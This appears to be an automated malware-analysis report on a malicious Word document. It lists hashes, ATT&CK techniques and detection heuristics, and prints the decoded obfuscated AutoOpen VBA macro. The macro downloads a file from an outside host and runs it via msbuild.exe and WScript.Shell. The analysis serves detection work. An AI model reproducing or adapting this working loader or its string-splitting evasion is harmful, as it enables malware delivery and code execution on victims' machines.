Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f2507d6ef956ee04…

MALICIOUS

Office (OLE)

158.5 KB Created: 2017-10-24 02:15:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 9fdad3c647890d1f4726dba98828577d SHA-1: ca101d3d0dc28f7e830437385257673e67926e2a SHA-256: f2507d6ef956ee041635565d6737919338019ad454905dda3f12e21ce840cef9
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate Malicious Files or Information

The sample contains an AutoOpen VBA macro that is heavily obfuscated. The macro attempts to download a file from 'http://nmls.career-satisfaction.com/r1/119ab928c-e092fabe2-2382-bcd102ea/license.txt' and save it as 'C:\Windows\Microsoft.NET\framework\v4.0.30319\msbuild.exe C:\Users\<user>\Documents\license.txt'. It then executes this downloaded file using 'wscript.shell'.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6356823-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6356823-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1393 bytes
SHA-256: af7f8771aefefc48aeb03e5f3c3361429806666b130a98782912e5681d1affe2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Public Sub AutoOpen()
    Dim i, file, fs, oht, strFile, strMsg
    
    ActiveDocument.Sections(1).Range.Font.Hidden = True
    ActiveDocument.Sections(2).Range.Font.Hidden = False
    BusinessFile = "C*:\W*in*d|ow|s\M|ic|Ro*sof*t.N|et\fr|am|ew|or*k\v4|.0.|30|31*9\m|sb*ui**ld|.e|*xe"
    mypath = Environ("UserProfile") & "\Documents\license.txt"
    businesspath = BusinessFile & " " & mypath
    Item = "ht" & "tp" & ":" & "//nmls.car" & "eer-satisf" & "action.com/r1/119ab928c-e092fabe2-2382-bcd102ea/license.txt"
    Set fs = CreateObject("Scr" & "ipt" & "ing.Fil" & "eSyst" & "emOb" & "ject")
    Set file = fs.OpenTextFile(mypath, 2, True)
    Set oht = CreateObject(Replace("Wi" & "nHt" & "t*p.W*i" & "nH*tt" & "pR**eq" & "ues*t.5.1", "*", ""))
    oht.Open "GET", Item, False
    oht.Send
    For i = 1 To LenB(oht.ResponseBody)
        file.Write Chr(AscB(MidB(oht.ResponseBody, i, 1)))
    Next
    Set s = CreateObject("WsCrip" & "t." & "Sh" & "ell")
    ty = Replace(Replace(businesspath, "*", ""), "|", "")
    s.Run ty, 0
    
End Sub

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